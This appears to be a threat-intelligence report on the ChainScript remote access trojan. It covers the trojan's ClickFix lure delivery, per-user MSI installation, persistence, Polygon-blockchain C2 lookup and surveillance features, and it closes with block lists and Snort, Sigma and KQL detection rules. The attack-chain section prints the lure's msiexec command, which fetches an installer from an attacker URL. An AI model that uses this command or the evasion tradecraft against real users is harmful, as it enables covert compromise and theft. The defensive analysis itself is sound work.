ClickFix Lures Deploy ChainScript RAT via Polygon C2 Rotation

Executive Summary

Threat actors have begun deploying a previously undocumented, highly modular Remote Access Trojan (RAT) dubbed ChainScript, using deceptive ClickFix lures that trick enterprise users into executing malicious Windows Installer packages. Detailed by Blackpoint Cyber's Adversary Pursuit Group (APG) and corroborated by independent security researchers, ChainScript demonstrates an emerging trend in commodity cybercrime: marrying legitimate software runtimes like Node.js with decentralized Web3 infrastructure to achieve persistent, takedown-resistant command-and-control (C2).

Disguised as popular workplace collaboration and productivity applications—specifically Spotify, Zoom Workplace, and Microsoft Teams—ChainScript operates under rotating build identities including ComponentTask33, UpdateDigital, HostShared, and OrchidViolet66. The delivery pipeline relies on social engineering lures that prompt victims to copy and paste PowerShell or Windows Run (Win+R) commands, initiating an msiexec.exe installation directly from remote staging servers. Configured with user-level execution flags (ALLUSERS=2 and MSIINSTALLPERUSER=1), the installer completely bypasses User Account Control (UAC) prompts and administrator privileges.

Once deployed, the malware's modular Node.js agent scatters its runtime, configuration, and helpers across disparate Microsoft-themed directories in %LOCALAPPDATA% and %APPDATA%. Most critically, ChainScript incorporates an EtherHiding-style C2 discovery mechanism: rather than hardcoding IP addresses or domains that threat intelligence platforms can swiftly blacklist, the implant queries a smart contract on the Polygon blockchain (Chain ID 137) via JSON-RPC calls. This decentralized resolver dynamically supplies the RAT with active WebSocket panel addresses, allowing operators to seamlessly rotate infrastructure without modifying or recompiling the underlying malware.

Technical Vulnerability Analysis & Attack Chain

The complete execution lifecycle of ChainScript transitions from in-browser user deception to stealthy local execution and decentralized blockchain rendezvous:

[User Encounters ClickFix Lure (Compromised Ad / Fake Error Modal)]

│

▼

[Victim Executes Win+R msiexec Command via Clipboard Injection]

msiexec.exe /i "https://api-configuard[.]com/capher.php?..."

│

▼

[User-Level MSI Execution (ALLUSERS=2, MSIINSTALLPERUSER=1)]

- No Administrator Privileges Required (Bypasses UAC)

- Drops Bundled node.exe, ._scatter.ps1, and ._agent.vbs

│

▼

[Staging & Obfuscated File Scattering (._scatter.ps1)]

- Runtime: %LOCALAPPDATA%\Microsoft\Windows\Libraries\QuickSystemSearch

- Application: %APPDATA%\Microsoft\Windows\Themes\SettingsHostStandard58

- Configuration: %LOCALAPPDATA%\Microsoft\Windows\INetCache\FilterManager

- Helper Tools: %LOCALAPPDATA%\Microsoft\Windows\Shell\RemoteTempPrimary

│

▼

[Silent Execution & Persistence Launch (._agent.vbs)]

- wscript.exe //B Executes ._agent.vbs to Suppress Console Window

- Launches node.exe app\src\index.js

- Installs Scheduled Task 'ComponentTask33Agent' (Fallback: HKCU Run Key)

│

▼

[Configuration Decryption & EtherHiding Blockchain C2 Discovery]

- Decodes HiddenVirtualSilentLoader.dat (Base64 + XOR with buildSeed)

- Issues eth_call to Polygon Smart Contract 0xf9099d0d... (Selector 0x4ab7874e)

- Dynamically Resolves WebSocket URL (e.g. wss://shift-api-control[.]com:3847)

│

▼

[Full-Featured RAT Operations Over Authenticated WebSockets]

- node-pty Interactive Shells (ConPTY/WinPTY CMD & PowerShell)

- Desktop Screen Captures (SearchTrustedRuntimeSvc.exe / .NET)

- Crypto Wallet Enumeration (Desktop & Browser Extensions)

- Remote JavaScript Execution via Node.js vm & Self-Update / Cleanup

1. Delivery & User-Level MSI Execution

The attack chain originates when a user visits a compromised website or malicious advertisement displaying a ClickFix lure—a fake browser error prompt instructing the user to press Win+R, paste a command string, and press Enter to "fix" an audio or video rendering issue.

The copied command invokes msiexec.exe with a remote URI pointing to an attacker-controlled endpoint:

msiexec.exe /i "https://api-configuard[.]com/capher.php?token=<TOKEN_ID>"

The retrieved MSI file (e.g., ComponentTask33-4d14e6ac.msi) is digitally unsigned or forged to mimic Spotify AB. Because the MSI defines properties ALLUSERS=2 and MSIINSTALLPERUSER=1, Windows installs the software entirely within the user's personal profile directory, eliminating the need for elevated administrative permissions and completely bypassing UAC detection.

2. Multi-Stage Component Scattering & Execution

Upon unpacking into %LOCALAPPDATA%\ComponentTask33, the installer triggers custom execution actions:

1. PowerShell Staging (`._scatter.ps1`): The script disperses the malware files across standard Windows operating system paths to complicate file-integrity monitoring and manual forensics:
   • Node Runtime: %LOCALAPPDATA%\Microsoft\Windows\Libraries\QuickSystemSearch
   • Core Agent Source: %APPDATA%\Microsoft\Windows\Themes\SettingsHostStandard58\app\src\index.js
   • Encrypted Config: %LOCALAPPDATA%\Microsoft\Windows\INetCache\FilterManager\HiddenVirtualSilentLoader.dat
   • Auxiliary Binaries: %LOCALAPPDATA%\Microsoft\Windows\Shell\RemoteTempPrimary
2. Stealth VBS Launcher (`._agent.vbs`): Invoked by wscript.exe, this script executes the bundled node.exe against app\src\index.js without opening a visible command prompt or terminal window.
3. Persistence (`StreamServiceSharedBridge.ps1`): Registers a scheduled task named ComponentTask33Agent set to trigger at user logon. If scheduled task creation is restricted by group policy, it falls back to creating an entry in the Current User Run registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run).

3. EtherHiding Polygon C2 Discovery

At initialization, app\src\index.js reads HiddenVirtualSilentLoader.dat. The payload Base64-decodes the file and performs an XOR operation using a unique 10-character seed extracted from the installer metadata (c8c384083f in observed samples).

Rather than communicating with static C2 endpoints, the agent initiates an eth_call JSON-RPC query to a smart contract deployed on the Polygon PoS mainnet (Chain ID 137):

• Contract Address: 0xf9099d0d747368cce8C10226CC9AF2bFD4DDbCF4
• Function Selector: 0x4ab7874e
• Discovery Flow: The smart contract returns an ABI-encoded string containing the active WebSocket endpoint (prefixed with ws:// or wss://). The agent caches this address for five minutes.

During Blackpoint APG's live infrastructure telemetry, the contract dynamically redirected agents from shift-api-control[.]com:3847 to bedotiq[.]net:3854 following a server reset. Furthermore, timeline analysis revealed that the Polygon contract was deployed only 23 seconds prior to the generation of the MSI installer, confirming that blockchain contract deployment is fully integrated into the adversary's automated malware build pipeline.

4. Interactive RAT Capabilities & Extensibility

Once the WebSocket handshake succeeds (authenticated via an X-Agent-Token HTTP header), ChainScript establishes a bidirectional JSON messaging channel. The implant incorporates sophisticated native functionality:

• Interactive Pseudo-Terminals: Uses node-pty with ConPTY and WinPTY support to deliver fully interactive CMD and PowerShell sessions rather than standard one-off command output.
• Screen Surveillance: Executes SearchTrustedRuntimeSvc.exe (internal name CaptureScreen.exe), a bespoke .NET utility that captures the entire multi-monitor virtual desktop, converting the output to Base64-encoded PNGs transmitted back over WebSockets.
• Cryptocurrency Wallet Reconnaissance: The wallet_scan routine inventories installed desktop wallets and browser extension directories across Chrome, Edge, Brave, and Firefox, staging target lists for manual credential theft.
• In-Memory JavaScript Extension: Supports an eval command and queries /api/agent/script to ingest server-side JavaScript executed inside a Node.js vm sandbox, allowing operators to dynamically register new command handlers (extraCommands) on the fly.
• Self-Update & Destruction: Includes agent_update (downloads and extracts ZIP patches directly into the runtime directory) and kill (unregisters scheduled tasks, deletes registry keys, and executes cleanup batch files to wipe disk traces).

Threat Actor Profile & Campaign Attribution

• Adversary Tradecraft: ChainScript represents an operational fusion of commodity social engineering techniques (ClickFix lures) with architectural concepts borrowed from Web3 malware campaigns (EtherHiding, Tsundere, and EtherRAT). The automated deployment of Polygon smart contracts seconds before compilation highlights a high degree of operational automation.
• Masquerading & Decoy Diversity: The threat actor maintains distinct operational themes across target verticals:
  • Enterprise/Collaboration: OrchidViolet66 (Microsoft Teams) and HostShared (Zoom Workplace).
  • Consumer/Media: ComponentTask33 and UpdateDigital (Spotify AB).
• Targeting & Objective: While the malware incorporates cryptocurrency wallet enumeration, the presence of persistent interactive shells, arbitrary file management, and payload deployment capabilities indicates an espionage, initial access brokerage (IAB), or corporate credential-theft motive.

Detection & SOC Mitigation Playbook

1. Patch & Workaround Guidance

• Harden ClickFix Attack Vectors:
  • Implement Group Policy Objects (GPOs) or Intune configuration profiles to disable the Windows Run dialog (Win+R) for non-administrative workstations (User Configuration -> Administrative Templates -> Start Menu and Taskbar -> Remove Run menu from Start Menu).
  • Configure Software Restriction Policies (SRP) or AppLocker/Windows Defender Application Control (WDAC) to prevent msiexec.exe from executing packages directly from remote URLs or unprivileged user writeable directories (%TEMP%, %LOCALAPPDATA%).
• Audit Running Node.js Instances:
  • Conduct enterprise-wide endpoint sweeps for non-standard node.exe processes running outside authorized development tooling directories (e.g., terminating instances executing from %LOCALAPPDATA%\Microsoft\Windows\Libraries\* or %APPDATA%\Microsoft\Windows\Themes\*).

2. Network & Perimeter Defenses

• Block Known Delivery & C2 Domains:
  • Enforce immediate DNS sinkholing and perimeter firewall perimeter blocks for:
  • api-configuard[.]com
  • shift-api-control[.]com
  • bedotiq[.]net
  • kerosand[.]net
  • moweros[.]net
  • giperon[.]net
  • IP addresses: 176.65.144[.]127 and 176.65.144[.]40
• Snort / Suricata Rule: Detecting ChainScript WebSocket C2 Agent Token:

alert tcp $HOME_NET any -> $EXTERNAL_NET [3847,3851,3854] (msg:"MALWARE-CNC ChainScript RAT WebSocket Handshake Attempt"; flow:to_server,established; content:"Upgrade: websocket"; http_header; content:"X-Agent-Token:"; http_header; classtype:trojan-activity; sid:20260923; rev:1;)

3. Endpoint Detection & Hunting Query

Sigma Rule: Malicious MSI Execution Spawning WScript and Node.js in AppData

title: ChainScript RAT Execution Chain via MSI and WScript

status: experimental

description: Detects msiexec installing user-level components that spawn wscript and node.exe from user profile directories.

logsource:

category: process_creation

product: windows

detection:

selection_wscript:

Image|endswith: '\wscript.exe'

CommandLine|contains:

- '._agent.vbs'

- 'SettingsHostStandard58'

- 'QuickSystemSearch'

selection_node:

Image|endswith: '\node.exe'

CommandLine|contains:

- 'app\src\index.js'

- 'ComponentTask33'

- 'UpdateDigital'

condition: selection_wscript or selection_node

level: critical

tags:

- attack.execution

- attack.t1059.005

- attack.t1059.007

- attack.persistence

- attack.t1053.005

Microsoft Defender for Endpoint (KQL) Hunting Query

// Hunt for ChainScript scheduled task persistence and Node execution in user directories

let SuspiciousNodes = DeviceProcessEvents

| where FileName =~ "node.exe"

| where ProcessCommandLine has_any ("app\src\index.js", "QuickSystemSearch", "SettingsHostStandard58")

| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName;

let SuspiciousTasks = DeviceProcessEvents

| where FileName =~ "schtasks.exe"

| where ProcessCommandLine has_all ("/create", "wscript.exe", "._agent.vbs")

| project Timestamp, DeviceName, ActionType, FileName, ProcessCommandLine, AccountName;

union SuspiciousNodes, SuspiciousTasks

| sort by Timestamp desc